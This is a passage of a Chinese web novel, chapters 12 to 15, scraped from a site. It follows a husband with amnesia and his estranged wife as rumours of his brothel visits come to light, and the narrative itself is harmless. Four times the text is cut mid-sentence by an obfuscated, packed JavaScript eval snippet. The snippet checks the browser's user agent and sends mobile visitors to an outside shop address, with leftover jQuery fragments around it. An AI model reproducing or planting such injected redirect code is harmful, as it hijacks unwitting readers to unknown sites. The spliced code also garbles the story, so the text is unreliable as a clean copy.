她实话回道:“不,你很少提,除了那次父亲身亡小叔对你不敬,其余时候也还算兄友弟恭,当然,他在军营,你忙于公务,也很少见面。” 陆绍宁觉得自己的收紧的心放松了下来,抬头看看天上的月亮,又看看苏见微,叹息一声,说道:“兄弟失和,也确实没什么好说的。如今他们都不在身旁,以后大概也不会在身旁了,好在……还有此夜此月,有你在,有小七。” 苏见微侧过头,看他面色皎洁,目光清柔,看着她的神色里,是温柔,是欣慰。 其实她和苏家弟妹、和爹娘,也没有太多感情,可是……她要怎样说,其实他们也走到了尽头,甚至从未真正在一起过。 “娇娇,过来——”他突然道。 苏见微心头一震,攥了攥手,不自然道:“你别这样叫我。” 一边说着,一边还是起身坐了过去,在之前小七的凳子上,与他挨着。 他问:“为什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568251|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “因为腻呀,都说了是小名,早不这样叫了。”苏见微说。 他一笑,拉她手道:“那我只在房里这样叫你,或者……只在床上。” 说着凑近来,在她唇畔落下一吻。 苏见微一惊,脸发烫,心也发烫,连身子都僵下来,不知该怎么办。 她没敢往他那边看,悄悄深吸一口气。 还好他现在伤得重,要不然就他这样子,说不定想要做些什么,那她就不得不告诉他实情了。 “天不早了,你还有伤,还是回房早些歇息吧。”她装作语气自然道。 陆绍宁将她手拽至身前,靠到椅子上:“这样好的夜色,这样好的明月,歇息什么?若我没伤,还能寻些别的乐子,现在便只能坐会儿了。” 苏见微假装没听懂他的调情,又为了表现得不那么冷漠,剥了粒葡萄给他。 顿了顿,她说道:“你防着曾经的好友,也对兄弟失和并不意外,可你为什么愿意相信我?旁人说‘夫妻本是同林鸟,大难临头各自飞’,相比起好友兄弟,女人不是更该靠不住吗?” 陆绍宁摇头:“那是一些酸腐文人的无端抱怨,在我看来,父母有养育恩,却只相伴二十载;兄弟……别人不必说,只说我家,并无兄弟情;只有妻子有朝夕相伴的亲近,又有共同养育子女的血脉恩情,还荣辱与共,休戚相关,再说……也只有丈夫或妻子,自己多少参与了选择,若连妻子都不能相信,这世间又能相信谁?” 他叹息一声:“若是那样,那人生在世,岂不是太可怜,太孤单了?” 苏见微从来不知他心里是这样想。 若是如此,那他后来有觉得孤单吗? 还是说,那青楼的花魁娘子,那依恋他的外室,便成了他的陪伴? 陆绍宁一边拉着她,一边奇怪地问:“你为何这样问?难道我们夫妻失和?我表现得并不相信你?”他兀自想了想,马上猜测道:“莫非因你姑姑身故,而我却效忠太后?你对我不满?” 苏见微摇头:“没有,姑姑与当初的皇后本就是敌对关系,若是皇后崩逝,我想姑姑也不会对申氏手软,她们二人只是成王败寇。而你为朝中臣子,不管是不是谋国,至少也要先谋生,只要你没有胡作非为,我怎会因此而怪你?” 陆绍宁心中欣慰,他不知道那些年自己究竟碰到了什么,又作出哪些抉择,但妻子这样说,他很高兴。 “那你……” 苏见微道:“只是……我们很久不曾这样坐在一起说这些,你每日忙于公事,关心的似乎也都是朝中之事,少在后院逗留;而我,囿于后院,将心思放在孩子身上,也不曾干涉你。” 陆绍宁觉得妻子虽面色平静,可心中肯定是有怨言的,而自己也不知道自己为何忙得不回家,也许大理寺公务比他想象得多得多,也许他太想升官加爵,因此而失了初心。 他看着她道:“那我们好好珍惜眼下时光,待我伤好了,我也记得多关心你与小七。” 苏见微低下头去,似是点头回应,实则叹口气,心中升起许多怅然。觉得他们本该在六年前,或是五年前,好好谈一谈,可那个时候他们没有这样的机会,谁也不理谁。 如今,一切都过去了。 12.第 12 章 连续几日天气不冷不热,小七总是一早欢欢喜喜出去,中午满身脏污回来,说是堆泥巴,摸石头,捉知了,掏鸟蛋……总之是忙得很,人也晒黑了不少。 苏见微有心管管,陆绍宁却说她是侯府的小姐,以后多的是时间读书识字做女红,这样玩的机会太少了,就让她玩一会儿。 苏见微也就作罢。 下午,大夫再来给陆绍宁换药。 这次却带了个小姑娘,说是大夫家女儿,平时无事,一直在身边帮忙。 那姑娘不过十五六岁,一张瓜子脸,生得颇有几分姿色,低着头跟在大夫后面,并不言语,待她爹让她帮忙给陆绍宁换药,她便红透了脸。 换药的手法倒确实不如她爹熟练,但胜在细致,陆绍宁最重的伤在脑后,有头发,并不好敷药,她能一根一根将他头发理出来,再将药敷上去,十根手指白皙纤细,如翻花一样的好看。 待敷完了后脑,大夫便指导女儿:“老爷肩上的伤是暗器伤,虽看着不大,却颇深,最怕破伤风。” 大夫替陆绍宁解了衣带,让女儿去清理他伤口,陆绍宁觉得对方是个年轻姑娘,又不是自家丫鬟,帮自己这般宽衣解带并不好,便想让妻子过来,没想到此时柳语进门来,说是管家在家中找到一本旧书,问苏见微要不要,苏见微便与柳语一同出去了,去看看那书。 看着她离去的身影,陆绍宁再看一眼帮自己上药粉的姑娘,不看还好,这一眼过去,被姑娘察觉,紧张得手一抖,将药粉全洒在了他胸膛,脸顿时红得如桃瓣,连忙道:“对不起老爷……我,我这就给您擦干净。” 说着匆匆找帕子,然后拿去打湿,大夫在一旁提醒道:“做事别慌张张的。” 一边说着,一边向陆绍宁笑着赔礼道:“这丫头平常还是伶俐的,大约是没见过老爷这样贵气的人,这才失了神。还是小了些,等明年找了婆家,大约就沉稳了。” 陆绍宁突然明白了这大夫的意图。 他是有意带女儿来的,想要给他过眼,想将女儿送到他身边来。 他也突然明白为什么妻子走了,她作为妻子,自当更加敏锐,兴许在这父女一进门就看出点什么来,所以一直远远站在一边,到后来,直接找机会离开了。 为什么呢? 她为什么离开?是觉得他会看上这小姑娘,还是她希望他看上小姑娘? 他突然觉得也许事情和自己想象的不同,六年过去,他与她并非他以为的那么恩爱。 于是一切他隐隐觉得奇怪的地方都有了理由,他总觉得她对他过分客气疏离,很少笑,他所有的亲昵言语,她也并不回应,她确实对自己体贴细致,可那细致里,少了亲近。 小姑娘再进门时,便觉得这位陆老爷的脸色阴沉了许多,正要拿帕子去帮他擦拭胸前的药粉,只听他喊道:“珍珠,珊瑚,进来!” 很快两个丫鬟急匆匆从外面进来,陆绍宁带着微怒道:“替我擦了这药粉。” 丫鬟连忙过去,她们侍候惯了的,做事十分麻利,小姑娘脸上一阵红一阵白,将头垂得更低,退到一旁。 大夫失落地瞪了她一眼。 苏见微回房时,陆绍宁的药已经换好了,她给大夫赏钱,送大夫父女离开,随后问陆绍宁:“大夫怎么说?要去窗边坐一会儿吗?” “还不是那样,不要坐,我去睡一会儿。”他说话语气冷冷的。 苏见微便不再说话,扶了他去床上躺下。 这一日后,两人的话明显少了,陆绍宁带着闷气,并不理她,苏见微本就习惯两人互不理睬,也没主动说话,只是共处一室,总看见,有些尴尬。 她很想找个机会搬去小七房中。 翌日一早,太阳尤其毒辣,如之前那样炎热的天又回来了,中午用完早饭,苏见微劝小七留在房中,小七却不干,说是和小石头约好了去看神龟,苏见微不明白是什么神龟,多问几句,她还不愿说,说是秘密。 苏见微无奈,只得要求她早点回来。 奶娘带小七出去,没一会儿,奶娘却自个儿往这院里来。 苏见微正磨墨准备抄书,抬眼看见了,问她:“怎么了春娘,不是带小七出去了吗?” 奶娘在窗边回道:“今日是小红带她出去了,有个事我琢磨了好几天,想和夫人与大人说。” 苏见微忙道:“春娘有事进来说。” 奶娘便进房来,陆绍宁正坐在床边看书,此时也放下书看向她。 春娘到苏见微面前,看看陆绍宁,又看看苏见微,面带担忧道:“夫人,我总觉得小七和那小石头是不是走得太近了?” 苏见微停了磨墨,正色道:“怎么这样说?他们那些小孩不是都在一起玩么?” 奶娘道:“确实大部分时间是在一起,但最多的还是和小石头,两人经常说悄悄话,还一起跑去别处玩,那小石头野,一会儿带姑娘爬树掏鸟蛋,一会儿带姑娘下水摸鱼,还去摘什么花,看什么神龟变的石头,姑娘也是最喜欢他……” 苏见微点头道:“是的,她也常和我说起小石头,大概是小石头胆大,爬树快,钓青蛙厉害,又心细对她也照顾,她没有玩得这么好的哥哥,这才格外喜欢。” “是啊,我就觉得……这小石头毕竟是庄子里的野小子,先不说把咱们姑娘都带坏了,就说这乡下的孩子,姑娘倒是心思纯净,却不知别人存的什么心呢? “这庄子虽是陆家的,可大人与夫人这么多年也就来这么一回,万一有人暗暗想着攀高枝儿,故意往跟前凑呢?” 苏见微明白过来,奶娘是怕小石头已经懂事,暗自揣着心思,想勾搭小七。 就算他不懂,也许他家里人教。 若是那样,倒确实要多一份心。 而且……昨日才发生那大夫的事。 苏见微转头去看陆绍宁,正好对上他投来的目光。 从彼此目光的交汇中,俩人都看出对方同时想起了昨日的事。 苏见微转向奶娘道:“我知道了,劳春娘费心,心思细,将小七看得贵重,这事我与夫君好好商议看看,看要怎么做,春娘先回房休息。” “诶,好。”奶娘便下去了,苏见微看看面前的墨,转过头来又看向陆绍宁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574357|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “夫君觉得……春娘说的有道理吗?”她问。 陆绍宁随手翻了一页书,靠在床头道:“只看你在不在意,若是不在意,让他们一处玩就是了。” 苏见微道:“当然也不能大意,那小石头比小七大几岁,说不定什么都懂,若存心接近,让小七受了迷惑,也不好。” “是吗?我以为你觉得无所谓呢。”陆绍宁语气中有些阴阳怪气。 她听出来他这说的是昨天的事。 她沉默下来,站了好久,说道:“我不想干涉你的事,你愿意与否,都在你。” “是吗?那我看上昨天那姑娘了,你去找她爹娘,将她接进门来吧。”陆绍宁道。 说完却是纳闷一声:“奇怪,夫人这么通情达礼,我身边该有十房八房通房姨娘才是,怎么我一个都没看到?” 苏见微只是沉默,好久没想到怎么回应。 就在屋中弥漫着微妙氛围时,外面传来脚步声,于是两人都没再说话,她低下头来继续磨墨,假装两人只是寻常待在房里。 进来的是莺歌,和二人道:“夫人,大人,二爷到庄上来了。” 二爷也就是陆绍宁异母弟弟陆绍羽,陆绍宁从文,他从武,今年二十三岁,一直在军中,尚未成亲。没想到前几日提起他,今日他就过来了。 他来了,不可能不见,苏见微转向陆绍宁:“让小叔进来?” “嗯。”陆绍宁应下,理了理自己的衣领。 苏见微见了,猜测他大概不想在这个弟弟面前太狼狈,便过去道:“我扶你起来坐着吧。” 陆绍宁道:“你稍稍牵着就行,我能起身。” 于是她扶着他从床上起来,坐在了桌边椅子上,苏见微替他将头发理好,身上衣服打理整齐,看了看,又拿来自己的面脂,替他抹上一点。 他抬眼看着她,两人目光短暂交汇,她又马上避开。 待一切准备好,陆绍宁神采奕奕坐在桌边,陆绍羽就过来了。 到房中,他倒是客气,将京城点心放到桌上,和二人道:“大哥,嫂嫂。” 苏见微温声道:“庄子这么远,劳烦你还大老远过来。” 说着让他在桌边坐下,又道:“之前你大哥受伤,知道你忙,也就没去打扰你。” 她去一旁倒茶,陆绍羽与陆绍宁相对而坐,一脸关心道:“休养这几日,大哥的伤好一些没?我休假回来才知大哥竟受了伤,听说是伤到了头,很多事不记得了,可是真的?” 陆绍宁回道:“是的,只是重要的事不会忘。” 陆绍羽道:“不是说前面六年的事都忘了么?我还替大哥捏一把汗,若是那样该怎么是好。” “那就不劳腾霄挂心了,不是什么大事。” “大哥如此笃定就好。”陆绍羽似笑非笑,随即道:“我去打听一番,只知朝中还在查大哥受伤的事,却也没什么眉目,大哥平日是否得罪了什么人,是否与人结仇,这些都不记得了么?” 陆绍宁叹息一声:“身在我这个位置,又如何能不结仇?多的是人狼子野心,并不安分守己。” 13.第 13 章 陆绍羽只知他好像忘记了许多事,却并不知道他忘记了多少,听说他初醒来,还以为自己才成婚,现在看不管忘记多少,记得多少,他还是他,一如既往的傲慢,不可一世。 陆绍羽说道:“是啊,人人都觉得自己该得的应该更多,乃至心狠手辣、不择手段,大哥既自知结了许多仇家,还是要小心谨慎,在庄子上多安排些护卫,也别一个人悄悄外出,再着了人家的道。” 陆绍宁心知自己与陆绍羽不和,也从妻子口中知道父亲去世后两人矛盾加剧,却并不知道六年后,弟弟已经开始暗讽自己“心狠手辣、不择手段”。 他对他心狠手辣,不断手段了吗?说不准,若有机会,他还真想。 可如果自己真出手了,他怎么还好好站在这里呢? 他回道:“我自会小心,毕竟还有妻儿,还有陆家门楣,我若不在了,陆家、还有陆家人只怕都不会好过。” 说完,他定定看向弟弟。 他在想,这事有可能是陆绍羽干的吗? 但这个可能性很小,陆绍羽在军营,不可随意外出,痕迹太大;以及他们为兄弟,虽是兄弟不和,争着陆家爵位,却也不至于要了对方的命,他死了对陆家没好处,陆绍羽不会不知道。 他猜测,弟弟今日来就是打探他的情况。 陆绍羽坐了一会儿,苏见微道:“小叔待会儿留在庄子上吃饭吧?虽说没有城里花样多,却都是地里现摘的,十分新鲜,我再让人送两尾鱼来炖了,你们兄弟二人好好聊聊。” 陆绍羽道:“不了嫂嫂,有朋友在等我,我待会儿就回营了。倒是,庄上的青梅酒还有吗?我上锋喜欢,我顺便给他带些去。” “你大哥不能喝酒,我倒没问过,我去问问,若有的话给你备两坛带着。”苏见微说。 陆绍羽连忙道歉,苏见微便出去了。 待她离开房间,陆绍羽朝陆绍宁道:“大哥猜我给你带来了什么?醉红楼含嫣姑娘的诗,她也听说大哥受伤,专门写给大哥的。” 陆绍宁心中一惊,随即便意识到苏见微才出门,并未走远,陆绍羽是故意的,从窗口瞥过去,果然就见她才走至院中。 门窗都开着,陆绍羽的声音也不小,她不可能没听见。 而她毫无反应,已经往院外去了。 所以,自己和这含嫣姑娘是什么关系? 他低头看诗文,发现是一首情诗,没细看,想问陆绍羽这含嫣姑娘是谁,与自己是什么关系,但他不想陆绍羽探究自己的记忆,便模糊地问:“你去了醉红楼?” 这个他是知道的,青楼而已。 陆绍羽回道:“是啊,知道我回来,京城几位好友邀我同去喝了几杯,正好遇到含嫣姑娘。她说大哥有空可以给她润色一下,她好谱成曲子,等唱出来,到时候又是一首名曲。” 确实有许多文人流连青楼,写些或婉约或艳丽的词曲,青楼姑娘便拿它们来唱,但陆绍宁从不知自己也有这种癖好。 而且青楼里真有才气的又有几人,男人在那里享受的是什么乐子谁又不清楚?不过是皮肉之欢,却蒙上风雅的遮羞布。 陆绍宁看着手中的词不说话,陆绍羽突然问:“大哥是真不记得前六年的事了,不会连含嫣也忘了吧?她可是大哥的红颜知己。” 陆绍宁眸色微暗,抬眼看向他,此时苏见微带着两个丫鬟进来,手里拿着两坛酒,和陆绍羽道:“青梅酒还有,今年刚酿的,我拿了两坛来,拿绳子绑了给你放马背上。” “好,实在多谢嫂嫂。”陆绍羽道。 随后陆绍羽要走,陆绍宁没话,苏见微倒是客气地挽留一番,最后才送陆绍羽离开。 待她进来,就看见陆绍宁手上还拿着那张纸,她无意去探究所谓的青楼词曲,只是到自己的书桌坐下,重新磨墨,然后开始抄书。 陆绍宁转过头来看向她。 所以,六年后的他竟开始流连青楼了吗?还有个什么红颜知己?嫖客与妓女,能知什么己? 而她对此,又是什么态度? 她在那里抄书,能感觉到他在看她,却假装没看见;他一直看着,却一直没开口说话。 直到好一会儿,丫鬟带了小七回来,说外面太热了,今日早些回。 苏见微给小七准备了绿豆百合汤,小七就着这绿豆百合汤,总算将一碗饭吃完。 “休息一会儿再去午睡,晚上就不出去了,娘给你读书讲故事。”苏见微说。 小七道:“不行,我下午还要去找小石头,他说给我编个蚱蜢的。” 苏见微问:“你很喜欢和小石头一起玩?” “当然啦,他可厉害了,会的东西真多。娘,为什么我没有哥哥呢,我好想要哥哥。” 奶娘在一旁,笑道:“小七是老大,哥哥算是不会有了,倒会有弟弟,小七想要弟弟吗?” 小七想了想:“那……也可以。” 奶娘看看主人,朝着小七笑,苏见微不出声,陆绍宁只是看她一眼。 小七却又道:“娘,我晚上能和你们一起睡吗?” 苏见微问:“为什么?” “小石头说他都是和他爹娘一起睡的,我也想和爹娘一起睡。” 苏见微正想劝,陆绍宁道:“好,那今晚咱们一起睡。” 小七露出欢喜的笑:“太好了。” 苏见微却觉得陆绍宁想得太简单了,他没和小七一起睡过,不知道这孩子看着乖巧,睡着了蹬人也不含糊,一脚过来,能将他腿上伤口蹬出血。 便劝小七道:“以后可以,但现在不行,现在爹爹身上有伤,一张床睡三个人就太挤了,你会挤到爹爹的伤。” 小七露出失落神情来,又看向陆绍宁,陆绍宁想想确实是,便道:“那这样,中午爹和你一起午休好不好?” 小七觉得光和爹爹在一起有些陌生,又看向娘亲,陆绍宁看出她的想法,又补充道:“放心,你娘也在房里,只是她不睡,我们让她坐在一边好吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582557|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好。”这会儿小七满意了。 休息一会儿,苏见微让小七脱衣上床去,睡在里侧,陆绍宁躺在她外侧,累了一上午,小七很快就睡去,苏见微从床上下来。 还在床边穿鞋时,陆绍宁问:“你认识含嫣这个人吗?” 苏见微声音淡淡:“听说过。” “她是醉红楼的姑娘?”他又问。 苏见微看向他,发现他是对这姑娘一点印象都没有了? 她问:“夫君不记得她?” “没有丝毫印象。”陆绍宁肯定道。 苏见微看看他之前随手扔在桌上的那张纸,她也听到了,那是含嫣姑娘写给他的诗。 她回道:“听说她是醉红楼的姑娘,还是里面花魁娘子,才貌双全,在京城很有名气。”顿了顿,继续道:“她曾给夫君写了一首诗,说的是相聚之欢、分别之苦,谱成了小曲,广为传唱,所以,有人说她是夫君红颜知己。” 这与陆绍羽说的又相似。 但陆绍宁却难以相信,他很难想象自己有一天会和一个妓女做什么知己,他的妻子出自书香门第,是江南大儒的外孙女,写得一手好字,博览群书,他若要讨论诗文,何至于去青楼! 倒不如坦然说是去青楼求男女之欢。 可他仍然觉得不可思议,六年后的他发生了什么,就这样放浪形骸吗? 他问:“会是讹传吗?我虽不知那六年里发生了什么事,但至少现在的我,是绝不屑流连青楼,沾染脂粉气的,我有向你解释过吗?或许是误会,是偶尔应酬,去坐了几次。” 是吗? 苏见微的确没见过那个姑娘,也自然没去过青楼,那坊间的事只是偶有传言而已,比他玩得过火的人大有人在,他那点事并不算什么,只是……她曾亲眼看见一个青楼姑娘坐在他怀里,给他喂酒。 那是四年前,正值清明,她终于断了奶,小七彻底交给了奶娘,好不容易抽得空闲,与好友柴凝一起游湖,竟正好看见一艘画舫,上面传来歌舞欢笑声,一见便知道是某些达官贵人和青楼女子在饮酒作乐。 那时她已知道陆绍宁是青楼常客,两人虽没分房,但他常夜不归宿,身上带着酒气,所以那一日,她不知怎么回事,好像知道他可能在船上,就往那船上看,倒真的看见了他。 那青楼姑娘年龄不大,但穿得单薄,鸟儿般依偎在他怀里,给他喂酒,他低头看着姑娘,脸上噙着笑,一边搂着她,一边凑过去喝了酒。 然后她就没看了,低下头去,既怕被他看到她在附近船上,又怕被好友看到自己的丈夫正狎妓,好久才将头抬起来。 从那以后,他的拈花惹草在她脑子里有具体的印象,她开始厌恶和他同房,要么找理由拒绝,要么盼着结束,他大概也觉得乏味,于是再很少求欢。 一晃,这样的日子都过了好些年了。 她叹声气,说道:“你没解释过,我也没问,反正去青楼的也不只你一个,我想,大约官场就是如此吧。” 14.第 14 章 陆绍宁道:“所以,六年后我们的感情不如新婚那样好,是吗?因为我去青楼,而你懒得过问。” 苏见微以一种平静地语气回答:“不如新婚也是正常的,也没有哪对夫妻能人至中年,还似新婚。” “但我不想这样,微微,可惜我实在记不起与那含嫣姑娘是怎么回事,但至少此时的我是厌弃的,我不想和她们谈诗,也不想和她们谈情,我觉得那很可笑。我几乎能肯定我一定不会成为那样的人,一定有什么误会,你别因此而怪我。”他无比肯切道。 苏见微忍不住问:“那要是真的呢?” “要是真的,我就改过自新,绝不再去,我只想守着你和小七,想我们能长长久久。”他拉住她,认真看着她道:“微微,相信我。” “可是,你不只有含嫣姑娘,还有个蓁蓁姑娘,真正的你,是不会在意我和孩子的。”苏见微心里这样说,却非常明白,此时她和他分辩不来这些,若她说起那梁蓁,他估计会说,“我马上将她送走,从此之后和她再无干系!” 那样等他哪天清醒过来,是不是会怪她趁他失忆,骗了他? 是的,现在的他不是真正的他,他们为此讨论再多也没有意义。 她心中万般思绪涌过,最后只是点点头:“好……”说着看向他:“这些事都是小事,你不必放在心上,好好休养,等身体好了再说。” 陆绍宁拉着她的手不松开,他想,就算她这样说,心底多半也是不信的,他若要让她相信,唯有用事实证明。 待他伤好,回了城里,他绝不会再去那烟花之地,惹她伤心。 “和庄头或管家说了,将那大夫换了吧,将主意打到我们头上。”陆绍宁道。 苏见微点头:“好。” 她当然是愿意换的,她还是陆绍宁的夫人,她就在这里,那大夫竟敢带人来献媚于陆绍宁,实在太不将她放在眼里。 只是许多时候,她懒得去管陆绍宁的事。 他又接着道:“你不在意我吗?为什么见到这样的事无动于衷?若我真受她诱惑,你也觉得无所谓吗?” 言语中竟带了几分委屈与哀怨。 他何曾露出过这种神情啊!苏见微既无奈,又有几分怅然,安慰他道:“我不想让你觉得我善妒。” “那我要你善妒,要你管着我,不许我拈花惹草,不许我心猿意马。”他说。 苏见微嘟起唇:“你自己不会管你自己吗?你要喜欢,我才不会自讨没趣。” “那你便是不在意我。”陆绍宁说。 “我……” 他一副想她作承诺的样子。 苏见微可没遇着这样的他,心中又诧异,又有几分莫名的欢喜,便回道:“行了,下次你再看上什么姑娘,我拦着不让她进门行了吧?” 陆绍宁笑道:“你放心,我不会看上什么姑娘的,谁有你好?” 她以前竟不知,他还是个会说甜言蜜语的! 他看着她笑,随后问:“那小七呢?还让她和那小石头玩吗?” 苏见微试探道:“我上次见过那小石头,胆大也心细,他娘亲也看着老实,倒不像是有歪心思的。小七平时有丫鬟奶娘跟着,也不是单独和人家在一起,小时候玩玩倒没什么,平白无故不让她玩,还得和她解释,惹她伤心不说,她也不懂。” 陆绍宁道:“就算懂了,也不是什么好事,原本是个普通玩伴,这样一闹,若是小七想通了,却将那孩子放到了郎君的位置上去想,反是不好。所以,就让他们一起玩好了,只多交待奶娘一声,让她们看护仔细就行。” “嗯,我也这样想。” 两人想得一样,又觉得颇为欣慰,陆绍宁拉着她,觉得不管以前两人怎样,以后还是能浓情蜜意,琴瑟调和。 晚上两人同床而眠,房中昏暗,夜色静谧,外面传来虫鸣。 苏见微睡在里侧,将背朝向他。 两人才躺下,没这么快睡着,他想着白日的事,什么含嫣,什么红颜知己,自己内心虽觉得不可思议,但这事定是让她伤心了的,他因那个自己不了解的自己而愧疚。 他伸出手拉住她,和她道:“娇娇,离我近一些。” 苏见微无声地往这边移了移,躺在他身侧,转过头去看向他。 他道:“小七看着聪慧,我不放心族学,另请先生来家中教习好么?” 苏见微道:“是不是太麻烦了?” “怎么麻烦,孩子的事,谈何麻烦?”他说。 她不好怎么说,只好随便他:“夫君若觉得有必要,那就按夫君说的来。” “等我好了,我们再生个孩子吧,给小七生个弟弟。” 苏见微不能正面回答,便说道:“孩子哪是说生就生的,也不定是弟弟。” “自然要用功,我搬回暗香馆,或者你想住起云堂吗?起云堂的确宽敞一些,你若愿意,也搬过来。我倒更喜欢暗香馆,毕竟是你我新房,在我的记忆里,玉兰花还开着呢。” 苏见微忍不住道:“如今那几棵树都大了,遮天蔽日的,把太阳都挡住了。” “是么?怎么没修理,或是移走几棵?”他问。 苏见微想了想,发现确实如此,自己虽不满,却什么也没做。 那时的陆绍宁虽对她疏离,但也不会去管几棵树的事,她若想修树或是移栽,自己做就是了,但她从未做过,好像……她不想动,懒得动,对未来没有期待,便是得过且过,做一天和尚敲一天钟。 果然,那一日提了和离,他同意了,所以终究是什么都不用做了。 此时陆绍宁道:“等回去了,我去那边看看,再作决定。” “嗯。” 别院这边说让换大夫,庄头马上就照做了,却心知不妙,便让庄头娘子一番打听,终于打听到莺歌面前,莺歌看着庄头娘子,冷声哂笑道:“你说为什么呢?大夫医术好坏就不说了,竟弄个十五六岁娇滴滴的姑娘来,做事粗笨,将药粉全洒到大人身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586777|186349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我家夫人身边的粗使丫头都比她伶俐。” 说完就走了,庄头娘子这才恍然大悟,知道那大夫竟然带了他女儿来。 这大夫她认识,家里有个长得标致的女儿,从十二三岁便有人上门说亲,他们两口子却都看不上,谁都知道他们心气儿高,想找个好人家,哪想到心气儿高到这份上,竟看中了老爷! 那是什么人,是朝中高官、伯爵公子,人家正牌夫人还在这儿呢,当人家是死的! 庄头娘子气得骂娘,转头就回去告诉自家男人,庄头心道不好,主人家要不知道,还以为自己也有份。 便连忙找人通融,趁着给主人送瓜果的机会,说上山去转一圈,正好见着一株极好看的兰花,便挖了回来,问夫人看不看得上,又猎了两只兔子,皮毛完好,还是白色,可以帮忙剥了皮献给夫人做衣服。 柳语进屋来和苏见微说这事,苏见微心知肚明这是向她赔罪,她心里无所谓,随口答道:“他既送来,就收了吧,领了他的东西,送他些赏钱。” 柳语才要下去,一旁的陆绍宁道:“怎能这么轻易就放过?你也太好说话了些,我听永兴说去年有人告他的状,说他假报霜灾,让他把庄上账本拿过来,再叫来庄上佃农,你好好查一查,给他提个醒。” 苏见微看向他,一时陷入犹豫。 的确,那大夫的事做得太不将她放在眼里,她是不能轻易揭过,若是六年前,她一定会气得睡不着觉,但现在……她总觉得只是过客,等陆绍宁伤好她就走了,没必要生那么多事。 她回道:“真要如此吗?但庄上的事都是你交与林管家在管,我一个妇人,不好插手这么多。” 苏见微刚嫁进陆家,是公公在打理家中田产资财,后来公公不再管事,便交给了陆绍宁,陆绍宁自己安排了人手,并不与她相干,她虽主持中馈,却也只是后院那些琐碎,对陆家真正的财产一无所知。 陆绍宁说道:“我平时精力多半放在朝廷公务上,田产上的事全交给外人也不放心,偶尔总要过问,你便替我看着。” 这意思是,外人不放心,只有她是自己人。 是啊,夫妻一体,若连夫妻之间都信不过,那应该没什么能信得过的人了。 苏见微想不明白,同一个人,为什么相差那么大,她觉得以前的陆绍宁就是防着她的,不会将她看作家人。 话已说到这里,苏见微便照做了,拒绝了那兰花和兔子,让庄头将账本拿来。 表面是出气,实际真是查账。 正午用饭,庄子上的菜虽然新鲜,可到底是样数少,每日都是吃那几个菜,吃这几天也腻了,眼看小七每日不吃饭,就吃点瓜果汤汁,苏见微觉得不好,让厨房做了面条过来。 新擀的面条,拌着肉糜香菇青菜,到底是新花样,小七欢喜吃起来,苏见微其实更吃得惯米饭,从柜子里拿出豆腐乳来,拌入自己的面条里。 陆绍宁见了,说道:“这是什么,怎么只给你自己?” 15.第 15 章 苏见微回道:“豆腐乳,你不喜欢吃。” “是吗?”他将面碗推过来:“你给我试试。” 苏见微觉得给了他也是浪费,又说道:“你真不喜欢。” “你是舍不得给我么?”他问。 她还真是。苏见微只好给他舀了一块。 他以前可不这样,为了块豆腐乳,还不依不饶起来,非要到不可。 陆绍宁尝了一点,脸上神色便有些不自然,好像吃果子吃出一条虫子来。 苏见微道:“说了你不喜欢,你还不信,就怕我吃独食。” 陆绍宁辩解道:“哪有,并没有不喜欢,只是觉得……风味独特。” 他说得十分认真,好似真的一样,苏见微有心戳穿他,便也认真道:“真的?那你快吃,吃完了我再给你一块。” 陆绍宁轻咳一声,见她盯着自己,面色平静地问女儿:“小七要尝尝吗?” 小七立刻摇头:“不要。” 陆绍宁笑:“我觉得很不错。”说着又尝了一口。 抬眼看苏见微,发现她已经低头去吃面了,便以迅雷不及掩耳之势将那豆腐乳埋入面碗中,团了一大筷子面裹住剩下的豆腐乳,一口咽下去,总算将那豆腐乳解决。 随即便要喝绿豆汤,苏见微看他那神色便知道他憋着难受佯装自然,忍不住偷笑,想这人心思可真重。 下午小七午休完就出去玩了,陆绍宁在次间窗边看京城带过来的书本、笔记、邸报、信件,以弄清一些职务上的事,苏见微在看账本,从里面倒真找出几笔歪账,所幸没有大问题,她将可疑之处全都记下。 